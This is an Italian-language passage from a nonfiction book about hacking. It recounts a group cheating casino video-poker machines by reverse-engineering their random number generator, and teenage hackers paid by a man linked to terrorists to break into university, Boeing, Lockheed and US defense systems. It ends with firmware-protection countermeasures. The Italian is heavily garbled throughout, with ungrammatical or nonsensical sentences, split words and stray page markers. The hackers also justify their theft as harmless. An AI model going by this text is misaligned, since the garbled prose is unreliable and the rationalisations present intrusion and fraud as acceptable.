Marco aveva il suo momento di tensione. Stava aspettando una mano vincente quando un pit boss non aveva notato intensificato alla spalla. "È un raddoppio sanguinato fino a cinque mila dollari - che è un po' di fortuna", ha detto, sorpreso. Una vecchia donna alla prossima macchina convogliato in carta abrasiva roca di un fumatore per voce, "E'... Non era ... fortuna". Il boss pit irrigidi, i suoi sospetti suscitato. "E 'stato *palle*, "*gracchiò*. Il boss pit sorrise e si allontanò. Per un periodo di circa tre anni, i ragazzi alternano tra l'assunzione lavori di consulenza legittimi per mantenere le loro competenze ei contatti, e SKIP-ping ora fuori e poi a riempirsi le tasche alle macchine video poker. Hanno comprato anche due macchine supplementari, tra cui il più diffuso usato il video del modello poker, e ha continuato ad aggiornare il loro software. Il loro viaggi, i tre membri del team che hanno viaggiato sarebbero testa fuori a diversi casinò, "non tutti vanno in branco", ha detto Alex. "Lo abbiamo fatto una volta o due volte, ma era stupido. "Anche se avevano un accordo per lasciare che ogni altri sanno quello che sono stati fino a, di tanto in tanto si potrebbe scivolare via a una delle città di gioco senza dirlo agli altri. Ma confinati il loro gioco ai casinò, mai giocare in posti come 7-Eleven o distri-kets perché "tendono ad avere molto basse vincite."

Preso!

Alex e Mike sia cercato di essere disciplinati su aderendo a "certa

regole che sapevamo avrebbero per ridurre la probabilità di ottenere notato. Uno di loro era mai colpito un luogo per troppi soldi, mai ha colpito per troppo tempo, non ha colpito troppi giorni di fila. " Ma Mike ha preso il senso di disciplina ancora più grave e sentito il altri due non erano abbastanza attento. Accettò vincere un po' meno per ora, ma più simile a un altro giocatore tipico. Se lui ha due assi l'affare e il computer gli ha detto di eliminare uno o entrambi gli assi per una mano ancora migliore - per esempio, tre jack - egli non farlo. Tutti casinò mantenere la "Eye in the Sky" osservatori in una cabina di sicurezza sopra la piano del casinò, ha retto una serie di telecamere di sicurezza che può essere attivata, concentrati e zoom, ricerca di imbrogliatori, i dipendenti storti, e altri piegati dalla tentazione di tutti quei soldi. Se uno dei osservatori è capitato di essere Sbirciare a sua macchina per qualche ragione, la watcher saprebbe immediatamente c'era qualcosa di sospetto, dal momento che nessun ragionevole giocatore capace darebbe una coppia di assi. Nessuno che non è stato barare in qualche modo potrebbe conoscere una mano migliore stava aspettando. Alex non era poi così fastidioso. Marco era ancora meno. "Marco era un bit arrogante ", secondo l'opinione di Alex:

Lui è un ragazzo molto intelligente, autodidatta, mai finito il liceo, ma un di questi tipo dell'Europa orientale brillante di ragazzi. E fiammeggiante.

L'arte dell'intrusione

16

Sapeva tutto di computer, ma aveva messo in testa che i casinò erano stupidi. Era facile pensare che perché questi persone lasciavano a ottenere via con così tanto. Ma anche così, credo ha ottenuto troppo sicuro di sé.

Era più di un temerario, e, inoltre, non si adattava al profilo perché ha appena sembrava questo straniero adolescente. Quindi penso che tendeva a destare sospetti. E lui non è andato con una ragazza o la moglie, che avrebbe aiutato a montare in meglio.

Credo che appena finito per fare le cose che ha portato l'attenzione su lui. Ma anche, col passare del tempo e tutti noi abbiamo avuto più audaci, ci siamo evoluti e tendeva ad andare alle macchine più costose che ha pagato Bet ter e che ancora una volta mettono più rischi l'operazione.

Anche se Mike non è d'accordo, Alex sembrava suggerire che fossero tutti e tre i acquirenti di rischio che avrebbero mantenere spingendo il bordo della finestra di vedere fino a che punto poteva andare. Come diceva lui, "Penso che in fondo basta tenere aumentando il rischio. "

Venne il giorno in cui uno minuti Marco era seduto in una macchina in un casino, il minuto successivo era circondato da uomini della sicurezza corpulenti che lo tirò su e lo spinse in una stanza intervista sul retro.

Alex ha raccontato la scena:

E 'stato spaventoso perché si sentono storie di questi ragazzi che saranno battere la merda di persone. Questi ragazzi sono famosa, "il F__k polizia, che stiamo prendendo cura di questo noi stessi. "

Marco è stato sottolineato, ma lui era un personaggio molto duro. Infatti, in per certi versi sono contento che era lui quello che ha farsi prendere eventuali noi dovevamo perché penso che era il più dotato di gestire questa situazione. Per quel che ne so che aveva gestito le cose come

torna in Europa orientale.

Espono alcuni lealtà e non ci si arrende. Non parlava su eventuali partner o qualcosa di simile. Era nervoso e sconvolto ma era dura sotto il fuoco e fondamentalemente si è detto di lavoro ing solo.

Egli disse: "Guarda, io sono in arresto, sei ragazzi di polizia, che cosa è il affrontare? "

E 'un tipo di applicazione della legge di interrogatorio, tranne che sono Non polizia e non hanno alcuna reale autorità, che è una specie di strano. Loro continuavano a interrogarlo, ma non l'hanno fatto esattamente lui maltrattare.

Capitolo 1 Hacking Casinò per un milione di dollari

17

Hanno preso la sua "foto segnaletica," Alex dice, e hanno confiscato la computer e tutti i soldi che aveva addosso, circa \$ 7.000 in contanti. Dopo per-HAPS un'ora di interrogatorio, o forse molto più tempo - era troppo sconvolto per essere sicuri - hanno finalmente lasciato andare.

Marco chiama i suoi soci in casa rotta. Sembrava frenetico. Egli ha detto,

"Voglio dirvi ragazzi quello che è successo. I sorta di avvitato. "

Mike andò dritto per la loro sede. "Alex ed io eravamo spaventata quando abbiamo sentito quello che è successo. Ho iniziato a strappare le macchine a parte e scarico pezzi in tutta la città. "

Alex e Mike erano entrambi scontenti Marco per una delle superflui rischi neces- correva. Egli non avrebbe messo il tasto nella scarpa come l'altra due, ostinatamente insistendo per procedere dispositivo nella tasca della giacca e attivazione con la mano. Alex ha descritto Marco come un ragazzo che "pensiero gli addetti alla sicurezza erano così stupidi da poter continuare a spingere l'Envelope lope con quanto si stava facendo sotto il loro naso. "

Alex è convinto di sapere quello che è successo, anche se non era presente. (In realtà, gli altri tre non sapeva Marco era andato su un viaggio casino nonostante l'accordo di indizio vicenda sui loro piani.)

Il modo in cui Alex figure, "Hanno appena visto che lui stava vincendo un ridicolo quantità e che c'era qualcosa da fare con la sua mano. "Marco semplicemente non è stato preoccuparsi di pensare a quello che potrebbe causare le per- piano PLE per accorgersi di lui e meraviglia.

Questa è stata la fine di esso per Alex, anche se non è del tutto sicuro della altri. "La nostra decisione all'inizio era che se qualcuno di noi era mai catturato, saremmo tutti smettere. "Ha detto," Siamo tutti aderito a che, per quanto mi so. "E dopo un attimo, aggiunse con minore certezza," Almeno io ha fatto. "Mike concorda, ma nessuno dei due ha mai chiesto Marco la questione ZIONE direttamente.

I casinò in genere non perseguire attacchi come quello che i ragazzi aveva tirato. "La ragione è che non vogliono pubblicizzare che hanno queste vulnerabilità," Alex, spiega. Così di solito, "Fuori di città prima del tramonto. E se siete d'accordo mai messo piede in un casinò di nuovo, poi lasceremo andare. "

Conseguenze

Circa sei mesi dopo, Marco ha ricevuto una lettera dicendo che le accuse contro di lui non erano stati premuti.

I quattro sono ancora amici, anche se non sono il più vicino in questi giorni. Alex figure ha fatto 300 mila dollari dal'avventura, di cui una parte è andato a Larry come avevano concordato. I tre partner-casinò in corso, che hanno preso tutto L'arte dell'intrusione

18

il rischio, aveva inizialmente detto che avrebbero diviso equamente tra loro, ma Alex pensa Mike e Marco probabilmente preso \$ 400.000 a mezzo milione ciascuno. Mike non volesse accusare piedi con non più di quanto 300 mila dollari, ma ammette che Alex probabilmente ha meno di lui. Avevano avuto una corsa di circa tre anni. Nonostante i soldi, Alex era contento che fosse finita: "In un certo senso, sono stato sollevato. Il divertimento era portato fuori. Aveva

diventare una sorta di lavoro. Un lavoro rischioso. "Mike, troppo, non era dispiaciuto di vederlo fine,

leggermente lamentando che "ha ottenuto tipo di estenuante".

Entrambi erano stati riluttanti a prima di raccontare la loro storia, ma poi ha preso al compito con gusto. E non perché - nei 10 anni o giù di lì da quando è successo, nessuno dei quattro ha mai condiviso nemmeno un sussurro per gli eventi con nessuno, tranne le mogli e la fidanzata che facevano parte di esso. Dicendo che per la prima volta, protetta dalla convenzione di anonimato assoluto, sembrava venire come un sollievo. Ovviamente goduto rivivere i dettagli, con Mike ammettendo che era stato "uno dei la maggior parte delle cose interessanti che abbia mai fatto. "

Alex probabilmente parla per tutti loro, quando esprime il suo atteggiamento verso loro scappatella:

Non mi sento così male per i soldi che abbiamo vinto. Si tratta di una goccia nel secchio per tale industria. Devo essere onesto: non ci siamo mai sentiti moralmente compromessa, perché questi sono i casinò.

E 'stato facile razionalizzare. Eravamo rubando dai casinò che rubare vecchie signore, offrendo i giochi che non possono vincere. Vegas feltro come le persone collegati macchine da soldi-succhiare, grondante loro vita lontano trimestre per trimestre. Così ci siamo sentiti come stavamo ottenendo indietro al Grande Fratello, non strappando jackpot una povera vecchia signora.

Hanno messo un gioco là fuori che dice: "Se si sceglie le carte giuste, si vince. "Abbiamo scelto le carte giuste. Solo che non si aspettavano un punto qualsiasi corpo per essere in grado di farlo.

Non avrebbe provare qualcosa di simile anche oggi, Alex dice. Ma la sua ragione figlio non può essere quello che ci si aspetta: "Ho altri modi di fare soldi.

Se fossi finanziariamente nella stessa posizione che ero in poi, probabilmente lo farei provare di nuovo. "Lui vede quello che hanno fatto in tutto giustificate.

In questo gioco del gatto e del topo, il gatto impara continuamente il mouse del nuovo trucchi e prende le misure del caso. Le slot machine in questi giorni utilizzano software di progettazione molto meglio; i ragazzi non sono sicuro che sarebbero cesso moni se ha cercato di prendere un'altra crepa a questo.

Eppure, non ci sarà mai una soluzione perfetta per qualsiasi problema di tecno-sicurezza.

Alex mette la questione molto bene: "Ogni volta che qualche [sviluppatori] dice:

Capitolo 1 Hacking Casinò per un milione di dollari

19

'Nessuno si prenderà la briga di farlo,' c'è qualche ragazzino in Finlandia chi andrà la briga. "

E non solo in Finlandia, ma in America, pure.

Io

Nsight

Nel 1990, i casinò e i progettisti di macchine da gioco non hanno avuto ancora capito alcune cose che divennero in seguito evidenti. A pseudo casuali generatore di numeri in realtà non genera numeri casuali. Invece, in effetti magazzini un elenco di numeri in un ordine casuale. In questo caso, un lista molto lunga: 2 alla potenza $32a$, o più di quattro miliardi di numeri. Alla inizio di un ciclo, il software seleziona in modo casuale un posto nella lista. Ma dopo che, fino a quando non inizia un nuovo ciclo di gioco, utilizza i numeri conseguenti l'elenco uno dopo l'altro.

By reverse-engineering del software, i ragazzi avevano ottenuto l'elenco.

Da qualsiasi punto noto nella lista "random", che potrebbero determinare ogni seguito da un numero nella lista, e con la conoscenza supplementare su il tasso di ripetizione di una particolare macchina, si potrebbe determinare per quanto tempo in minuti e secondi prima che la macchina visualizzerebbe una scala reale.

C

COUNTERMEASURES

Produttori di ogni prodotto che utilizza chip ROM e software dovrebbe anticipare i problemi di sicurezza. E per ogni azienda che utilizza software e prodotti computer-based - che in questi giorni significa piuttosto quasi ogni azienda fino ai negozi da una sola persona - è pericoloso presuppongono che le persone che costruiscono i sistemi hanno pensato a tutto le vulnerabilità. I programmatori del software nello slot giapponese la macchina aveva fatto un errore in non pensare abbastanza avanti su che tipo di attacchi potrebbe essere fatto. Non avevano preso alcuna sicurezza misure per proteggere le persone da ottenere al firmware. Dovrebbero aver previsto che qualcuno accedere ad una macchina, rimuovere la Chip ROM, leggere il firmware, e recuperando il programma di istruzioni zioni che raccontano la macchina come lavorare. Anche se ritenevano che possibilità, probabilmente scontato che sapere esattamente come la macchina lavorato non sarebbe sufficiente, immaginando che la complessità computazionale della rottura del generatore di numeri casuali potrebbero sconfiggere qualsiasi tentativo - che può anche essere vero oggi, ma non era in quel momento.

Così l'azienda commercializza prodotti hardware che contengono del computer chip; quello che dovrete fare per fornire una protezione adeguata contro L'arte dell'intrusione

20

il concorrente che vuole un'occhiata al vostro software, la società straniera che vuole fare un'imitazione a basso costo, o l'hacker che vuole imbrogliare?

Il primo passo: rendere difficile per accedere al firmware. Alcuni approcci sono disponibili, tra cui:

- chip di acquisto di un tipo destinato ad impedire l'attacco.

Diverse aziende chip di mercato specificamente progettati per situazioni in cui la possibilità di attacco è alta.

- Utilizzare *chip-cartone per l'imballaggio* - un progetto in cui il chip è

incorporato nel circuito e non può essere rimosso come elemento separato.

- Sigillare il chip per la scheda con resina epossidica, in modo che se un tentativo è fatta per rimuoverlo, il chip si romperà. Un miglioramento questa tecnica richiede mettendo in polvere di alluminio nella resina epossidica; se un utente malintenzionato tenta di rimuovere il chip da riscaldamento la resina epossidica, l'alluminio distrugge il chip.

- Utilizzare un *ball grid array* (BGA) design. In questa disposizione, i connettori non escono dai lati del chip, ma invece sono sotto il chip, il che rende difficile, se non impossibile, catturare il flusso del segnale dal chip mentre è in atto sulla scheda.

Un'altra contromisura in questa disposizione prevede graffiare qualsiasi identificazione di informazioni fuori dal chip, quindi un attaccante sarà privato delle informazioni circa il produttore e il tipo di chip.

Una pratica abbastanza comune, utilizzata dai costruttori di macchine a questa storia, richiede l'uso di checksum (*hashing*) - tra cui un checksum di routine nel software. Se il programma è stato alterato, il checksum non sarà corretto e il software non funzionerà sul dispositivo.

Hacker, tuttavia, consapevoli che hanno familiarità con questo approccio semplicemente controllare il software per vedere se una routine checksum è stata inclusa, e se ne trovano una, disattivarla. Quindi uno o più dei metodi che proteggono il chip è fisicamente un piano molto migliore.

T

HE

B

OTTOM

L

INE

Se il firmware è proprietario e prezioso, consultare la migliore sicurezza per scoprire quali tecniche hacker stanno attualmente utilizzando. Mantenere i vostri designer e programmatori up-to-date con le ultime informazioni.

E assicurarsi che stanno prendendo tutte le misure necessarie per ottenere il massimo livello di sicurezza commisurato con il costo.

Capitolo 1 Hacking Casinò per un milione di dollari

21

Pagina 43

Pagina 44

23

Capitolo 2

Quando terroristi Vieni Calling

Non so perché ho continuato a farlo. Natura compulsivo? Denaro fame? Sete per il potere? Posso citare una serie di possibilità.

- Ne0h

T

ha 20 anni, hacker, che firma come compagno è solo appeso intorno a questi giorni in una casa che è proprietario, insieme al suo fratello in una bella zona di Miami. Il padre vive con loro, ma questo è solo perché il fratello minore è ancora minorenne e bambino

Servizi insiste ci sia un adulto che vive nella casa fino a quando il ragazzo si trasforma 18. I fratelli non importa, e papà ha il suo appartamento altrove, che che sarà lui a tornare indietro a quando sarà il momento.

Mamma del compagno morto due anni fa, di lasciare la casa ai suoi figli perché lei e il padre dei ragazzi erano divorziati. Ha lasciato qualche soldo come bene. Suo fratello va a scuola, ma il compagno è "appena appeso out. "La maggior parte della sua famiglia disapprova, dice," ma non mi interessa. " Quando sei stato in prigione in giovane età - infatti, la persona più giovane figlio mai condannato con l'accusa federale come un hacker - l'esperienza tende per cambiare i valori.

Hacking non conosce confini internazionali, naturalmente, quindi non fa conferenza a uno di loro che amico degli hacker ne0h del compagno è un po' 3.000 miglia di distanza. Hacking era quello che li ha riuniti, e hacking era ciò che li prese lungo un percorso scivoloso che sarebbe poi portare a quello che sarebbe poi stato congettura servire la causa della inter-terrorismo nazionale effettuando irruzioni al calcolatore altamente sensibile sistemi. In questi giorni, questo è un fardello pesante da portare.

Un anno più vecchio di compagno, ne0h è stato "utilizzato i computer da quando ho potrebbe raggiungere la tastiera. "Suo padre gestiva un negozio di ferramenta di computer e avrebbe preso il giovane lungo sulle nomine dei clienti; il ragazzo si sedeva sulle ginocchia di suo padre con la sessione di vendita. Da 11 anni, è stato la scrittura di codice dBase per l'attività di suo padre.

Da qualche parte lungo la linea, ne0h venuto su una copia del libro *Takedown* (Hyperion Press, 1996) - che è altamente impreciso conto dei miei exploit di hacker, i miei tre anni di latitanza, e la La ricerca di FBI per me. ne0h era affascinato dal libro:

Mi hai ispirato. Sei il mio mentore f___ing. Ho letto ogni possibile cosa di quello che hai fatto. Volevo essere una celebrità proprio come te.

E 'stata la motivazione che lo ha ottenuto in hacking. Ha decorato la sua stanza con i computer e hub di rete e di un 6-foot-lungo bandiera pirata, e di cui a camminare le mie orme.

ne0h ha cominciato ad accumulare conoscenze hacker, solida e capacità.

Competenze venuto prima; discrezione sarebbe venuto più tardi. Utilizzando termine hacker 'per un giovane che è ancora un principiante, ha spiegato, "Nel mio script kiddie giorni, ho deturpato siti web e mettere il mio indirizzo e-mail reale ".

Ha appeso intorno Internet Relay Chat (IRC) siti - basata su testo

Chat room di Internet dove le persone con un interesse comune possono incontrarsi on-line e lo scambio di informazioni in tempo reale con altri che condividono la

interesse - nella pesca a mosca, aerei d'epoca, birra a casa, o qualsiasi migliaia di altri argomenti, tra cui l'hacking. Quando si digita in un gio

salvia su un sito IRC, tutti in linea in quel momento vede quello che hai scritti

dieci e in grado di rispondere. Anche se molte persone che utilizzano regolarmente IRC non lo fanno

sembra di essere a conoscenza di essa, le comunicazioni possono essere facilmente registrati. Penso che

i registri devono ormai contengono quasi più parole tutti i libri

la Biblioteca del Congresso - e il testo digitato in fretta con poco pensiero di posterati possono essere recuperate anche dopo anni.

Il compagno stava spendendo tempo su alcuni degli stessi siti IRC, e lui

fatto amicizia a distanza con ne0h. Gli hacker spesso formano alleanze per lo scambio di informazioni e svolgere attacchi di gruppo. ne0h, compagno, e un altro ragazzo hanno deciso di creare un proprio gruppo, che essi soprannominato il "Keebler Elfi." Alcuni hacker supplementari erano permesso in conversazioni del gruppo, ma i tre membri originali tenuto gli altri all'oscuro di loro attacchi black-hat. "Eravamo rottura ing all'interno di siti governativi per il divertimento, "il compagno, ha detto. Egli stima che rotto in "un paio di centinaia di" siti governativi apparentemente sicuri. Un certo numero di canali IRC sono pozze d'acqua in cui gli hacker di differenza strisce ent riuniscono. Uno in particolare, una rete chiamata Efnet, è un sito Comrade descrive come "non esattamente la metropolitana del computer - è una L'arte dell'intrusione

24

abbastanza grande gruppo di server ". Ma all'interno Efnet erano alcuni meno noti canali, luoghi che non ha trovato la strada per conto proprio, ma doveva essere raccontato da un altro cappello nero la cui fiducia si era guadagnato. Quelli canali, compagno dice, erano "abbastanza sotterranea".

Khalid il Terrorist ciondola Alcuni Bait

Intorno al 1998 su questi canali "abbastanza underground", il compagno ha iniziato incontrando chiacchierata su un ragazzo che era stato "appeso in giro" usando la maniglia RahulB. (Più tardi avrebbe anche utilizzare Rama3456.) "E 'stata una sorta di noto che voleva hacker per entrare nel governo e militari computers - siti .gov e .mil, "Compagno, ha detto. "Si diceva che lui lavorato per Bin Laden. Questo era prima del 9/11, così Bin Laden non era un nome si sentito al telegiornale ogni giorno. "

Alla fine il compagno percorsi con l'uomo del mistero, che ha attraversato lui sarebbe venuto a sapere come Khalid Ibrahim. "Ho parlato con lui un paio di volte [su IRC] e ho parlato con lui al telefono una volta. »L'uomo aveva una straniera accento e "sicuramente suonava come una connessione all'estero."

ne0h, troppo, è stato mirato; con lui Khalid era più diretto e più palese. ne0h ricorda:

*Intorno al 1999, sono stato contattato via e-mail da un uomo che ha chiamato lui-
auto un militante e ha detto che era in Pakistan. Ha dato il nome
Khalid Ibrahim. Mi ha detto che lavorava per i militanti pakistani.*

Qualcuno cerca di hacker capretto ingenui davvero avvolgersi in un bandiera terrorista - anche nei giorni precedenti 9/11? A prima vista l'idea sembra assurdo. Quest'uomo avrebbe poi rivendicare era andato a scuola nel Stati Uniti, fatto un po 'di hacking se stesso, e associata con gli hacker mentre era qui. Così egli può aver conosciuto, o pensava di sapere, qualcuno cosa di mentalità degli hacker. Ogni hacker è in qualche misura un ribelle che vive da diversi standard e gode di battere il sistema. Se lo desidera definire un honeypot per gli hacker, forse annunciando che anche tu sei un regola-breaker e un estraneo non sarebbe così stupido dopo tutto. Forse renderebbe la tua storia ancora più credibile, e il vostro con- previsto federa che molto meno diffidente e sospettoso.

E poi c'era il denaro. Khalid ha offerto ne0h 1.000 dollari per hacking nelle reti informatiche di una università cinese - un luogo che ne0h riferisce come il MIT di Cina - e fornendo lo studente file di database. Presumibilmente questo era un test, sia della capacità di hacking di ne0h

e del suo ingegno: Come si fa a incidere in un sistema informatico, quando si non leggere la lingua? Ancora più difficile: come si fa ingegnere sociale tua modo in cui non si parla la lingua?

Capitolo 2 quando i terroristi venire chiamata

25

Per ne0h, la questione della lingua si è rivelato essere nessun ostacolo a tutti. Lui iniziato in giro i siti IRC utilizzati da un gruppo di hacker chiamato gLobaLheLL e attraverso quel gruppo avevano preso contatto con un computer studente presso l'università. Ha messo in contatto e ha chiesto allo studente per un paio di nomi utente e password. Le informazioni sign-on è tornato in breve - uno degli hacker ad un altro, senza fare domande. ne0h trovati che la sicurezza informatica all'università classificato da qualche parte tra terribile e schifoso, particolarmente sorprendente per una tecnologia / ingegneria università dove avrebbero dovuto saperlo. La maggior parte degli allievi hanno scelto password identici ai loro nomi utente - la stessa parola o frase per entrambi gli usi.

La short list che lo studente aveva fornito era sufficiente per dare ne0h accesso, che gli permette di iniziare a curiosare in giro per via elettronica - *sniffing* , in hackerspeak. Questo alzato uno studente - lo chiameremo Chang - che stava accedendo FTPs (siti di download) negli Stati Uniti. Tra questi FTPs era un sito "warez" - un luogo per il recupero software. Utilizzando un standard ingegneria sociale trucco, ne0h alla deriva intorno alla rete delle scuole raccogliendo alcuni dei gergo campus. Questo è stato più facile di quanto in un primo momento suoni, dal momento che "la maggior parte di loro parla inglese", dice ne0h. Poi si alzò in toccare con Chang, utilizzando un account che faceva sembrare come se fosse ne0h contattarlo dal laboratorio di informatica del campus.

"Sono da Block 213", ha detto Chang elettronicamente, e ha fatto un richiesta semplice per i nomi degli studenti e gli indirizzi e-mail, come qualsiasi studente interessato a entrare in contatto con i compagni di classe. Poiché la maggior parte della le password erano così facile, entrare nel file dello studente è stato un gioco da ragazzi. Ben presto fu in grado di fornire le informazioni del database Khalid su circa un centinaio di studenti. "Gli ho dato quelle e mi ha detto, 'ho tutto quello che bisogno'" Khalid era soddisfatto.; chiaramente non aveva voluto i nomi a tutti; lui aveva solo voluto vedere se ne0h potrebbe effettivamente venire con l'informazione da una fonte remota. "Questo è esattamente dove il nostro rapporto rap- iniziato, "somme ne0h up. "Potrei fare il lavoro, sapeva che potevo fare il lavoro, così ha iniziato a darmi altre cose da fare. "

Raccontare ne0h a guardare la sua cassetta postale per le sue migliaia di dollari, Khalid iniziato a chiamare da telefono cellulare una volta alla settimana, "di solito mentre era la guida. "L'incarico successivo è stato per incidere in sistemi informatici di Bhabha Atomic Research Center in India. L'abito era in esecuzione un Sole workstation, che è un terreno familiare per ogni hacker. ne0h entrato in esso abbastanza facilmente ma ha trovato la macchina non ha avuto alcuna informazione di interessi su di esso e sembrava essere un autonomo, non collegato a qualsiasi rete lavoro. Khalid sembrava turbata dal fallimento.

Nel frattempo, i soldi per il trucco università cinese non aveva ancora mostrato up. Quando ne0h chiese, Khalid ha sconvolto. «Non hai mai capito ?! Ho inviato a voi in contanti in un biglietto di auguri! ", ha insistito. Ovviamente questo era il L'arte dell'intrusione

timeworn "L'assegno è nella posta" stratagemma, ma ne0h era disposto a continuare a incarichi accettare. Perché? Oggi si piega verso l'introspezione:

Ho continuato a perché sono testardo. In realtà è stato un brivido a pensare che stava per essere pagato per questo. E io pensavo, "Forse è davvero è stato perso nella posta, forse lui mi pagare questa volta. "

Non so perché ho continuato a farlo. Natura compulsivo? Soldi fame? Sete di potere? Posso citare una serie di possibilità.

Allo stesso tempo, che Khalid dava da mangiare incarichi a ne0h, era anche traina i siti IRC per gli altri giocatori disposti. Il compagno era disposto, se diffidare di accettare il pagamento:

Avevo capito che stava pagando le persone, ma non ho mai voluto dare le mie informazioni al fine di ricevere i soldi. Ho pensato che quello che stavo facendo era solo guardando intorno, ma se ho iniziato ricevitori ing soldi, che mi avrebbe fatto un vero criminale. Al massimo lo farei parlare con lui su IRC e gettatelo pochi host di tanto in tanto.

Reporter Niall McKay ha parlato con un altro pesce che Khalid catturato nel suo net, un adolescente della California il cui manico era Chameleon (e che ora cofondatore di una società di successo di software di sicurezza). La storia McKay su Wired.com

1

coda di rondine con i dati forniti dal ne0h e compagno.

"Ero su IRC una notte quando questo ragazzo ha detto che voleva il soft DEM ware. Non ho avuto e stavo solo pasticciare con il ragazzo, "il hacker, ha affermato. A questo punto Khalid stava crescendo serio: "DEM" è il soprannome per il macchinari Defense Systems Network

Manager, software utilizzato dai militari in rete. Il programma è stato catturato dal gruppo di hacker Masters di Download, e la parola era get

Ting intorno che il programma era disponibile se richiesto la persona giusta.

Nessuno sembra sapere se Khalid mai messo le mani su di esso - o almeno, nessuno sta dicendo. In realtà, non è nemmeno certo che il software sarebbe

sono stati di alcun valore per lui - ma lui evidentemente pensato che sarebbe.

Khalid era attraverso la riproduzione di giochi su università cinesi e simili.

"Ha cercato di integrarsi in quello che i ragazzi del gruppo sono stati facendo, "ci ha detto ne0h. Prima che fosse finita, Khalid sarebbe ombra degli hacker per un anno e mezzo, "non come una persona a caso popping dentro e fuori, ma su base regolare. Lui era lì, e si è capito che questa era la sua

cosa. "Per la" sua cosa "ne0h significava rottura all'interno di siti militari o la com-

sistemi informatici di aziende commerciali che lavorano su progetti militari. Khalid ha chiesto ne0h per entrare in Lockheed Martin e ottenere il

schemi di alcuni sistemi di bordo sono stati di produzione per Boeing. ne0h riuscì a ottenere qualche penetrazione limitata

Capitolo 2 quando i terroristi venire chiamata

27

Lockheed, "circa tre passi nella rete interna", ma non poteva nessuna più profonda di due server (a un livello che le persone di sicurezza chiamano "DMZ" - in effetti, un no-terra di). Questo non era abbastanza per rendita

etrate oltre i firewall che proteggono le mazioni aziendale più sensibile zioni, e non riusciva a trovare le informazioni che era stato detto di guardare per. Secondo ne0h:

[Khalid] ha irritato. Quello che ha detto era fondamentale, "Non sei lavorare per me più. Non si può fare niente ". Ma poi ha mi ha accusato di ritenuta. Ha detto che stavo mantenendo la formazioni mazioni per me stesso.

Poi disse: «Lascia perdere Lockheed Martin. Ricevi direttamente in Boeing. "

ne0h scoperto che Boeing "non era così sicuro, se si voleva male abbastanza. "Ha avuto in, dice, sfruttando una vulnerabilità nota di un Boeing sistema esposto a Internet. Poi, l'installazione di un "sniffer", egli fu in grado di intercettare tutti i pacchetti di dati che vanno da e verso un computer - tipi di computer di intercettazione telefonica. Da questo è stato in grado di catturare le password e email in chiaro. Informazioni raccolte da lui le email rivelate abbastanza intelligenza per ottenere nella propria rete interna.

Ho trovato sei o sette schemi a porte e il naso di Boeing 747 - appena agli passato attraverso e-mail in chiaro.

Allegati in chiaro. Non è quel grande ?! (E ride.)

Khalid era in estasi. Ha detto che stava per darmi \$ 4.000. Esso mai arrivato - sorpresa, sorpresa.

In realtà, \$ 4000 sarebbe stato un pagamento in eccesso lordo per l'informazione zione. Secondo l'ex dirigente della sicurezza Boeing Don Boelling, questo mod potrebbe essere stata effettuata contro Boeing come descritto. Ma sarebbe stata una perdita di tempo: Una volta che un modello di aeromobile va in Serghiaccio, tutte le compagnie aeree clienti sono date set completi di schemi. A quel punto l'informazione non è più considerato-aziendali sensibili; un punto qualsiasi corpo chi lo vuole può avere. "Ho anche visto un CD dei 747 schemi offerto su eBay recente ", ha detto Don. Naturalmente, Khalid no probabilmente hanno conosciuto questo. E non sarebbe solo due anni dopo che il nazione avrebbe scoperto alcuni terroristi avevano forti ragioni per volere la schemi di grandi aerei da trasporto utilizzati dalle compagnie aeree statunitensi.

Obiettivo per Tonight: Siprnet

Con il compagno, Khalid non si curò creazione esercizi di prova. Dal primo, l'hacker dice Khalid "interessava solo militare e Siprnet."

L'arte dell'intrusione

28

La maggior parte delle cose che non era molto specifiche su ciò che voleva - solo l'accesso ai siti governativi e militari. Fatta eccezione per Siprnet.

Voleva davvero informazioni Siprnet.

Nessuna meraviglia Khalid era ansioso; questo era stato probabilmente il suo obiettivo da sempre.

Siprnet è la porzione di DISN, il Sistema Informativo della Difesa Network, che trasporta i messaggi classificati. Più di questo, Siprnet (È un acronimo per l'Internet Protocol Router Network segreto) è ora il nucleo della capacità di comando e controllo per l'esercito statunitense.

ne0h aveva già rifiutato un'offerta da Khalid per un accesso Siprnet:

Egli ha offerto 2.000 dollari. L'ho rifiutato. Se ho avuto in Siprnet, Avrei i federali che bussano alla mia porta. 2000 dollari non valeva un proiettile in testa.

Con il tempo Khalid ha parlato il compagno circa l'assegnazione, il prezzo

era andato in su. "Ha detto che avrebbe pagato Penso che sia stato diecimila dollari per l'accesso, "compagno ricorda, suona molto meno ombroso di ne0h di prendere il progetto, anche se lui insiste convincente che era la sfida, non il denaro, che lo tentava.

Io in realtà è venuto abbastanza vicino a SiproNet. Ho avuto in questo sistema informatico presso l'Agenzia di sicurezza Defense Information, DISA.

Questo computer era solo liscia. Aveva Penso quattro processori, come, 2000 utenti hanno avuto accesso ad esso, il file host Unix aveva, come, 5.000 senza host di-, e metà di loro usavano account privilegiati; voi doveva essere in quel computer per accedervi - non si poteva accedere dall'esterno.

Tuttavia, egli capito, intuizione del compagno che era incappato in qualcosa di importante è stato il bersaglio. Le missioni principali di DISA sono comando congiunto e controllo e di supporto al combattimento computing - un chiaro sovrapposizione con le funzioni di SiproNet. Ma i suoi sforzi sono stati tagliati corti. *Abbastanza dolce di avere tutto che l'accesso, ma non ho mai avuto abbastanza tempo giocare con esso per arrivare ovunque. Mi sono beccato, come, tre o quattro giorni più tardi.*

A Time for Preoccuparsi

Il giorno di Natale del 1999, e il compagno ne0h ricevuto una scossa. Indiano Volo Airlines IC-814, in rotta da Katmandu a New Delhi con 178 passeggeri e 11 dell'equipaggio, è stato dirottato in volo. Secondo le notizie Capitolo 2 quando i terroristi venire chiamata

29

rapporti, i dirottatori erano terroristi pakistani connessi con i talebani.

I terroristi come Khalid?

Sotto gli ordini dei dirottatori, l'Airbus A300 ha proceduto su un zigzag viaggio verso il Medio Oriente e indietro, atterrando brevemente in India, Pakistan, e gli Emirati Arabi Uniti, dove il corpo di un passeggero ucciso era rimosso, un giovane sulla strada di casa con la sua nuova moglie dalla loro luna di miele. Era stato accoltellato a morte per il reato minore di rifiutando di mettere su una benda.

L'aereo finalmente atterrato a Kandahar, Afghanistan - aumentando la probabilità di una connessione talebani. Gli altri passeggeri e l'equipaggio sono tenute a bordo per otto giorni di terrore pieno, e alla fine sono stati rilasciati in cambio della liberazione di tre militanti incarcerati. Uno di quelli rilasciati, Sheikh Umer, avrebbe poi svolgere un ruolo nel favorire il finanziamento delle Mohammed Atta, il leader dei 9/11 attacchi al World Trade Center.

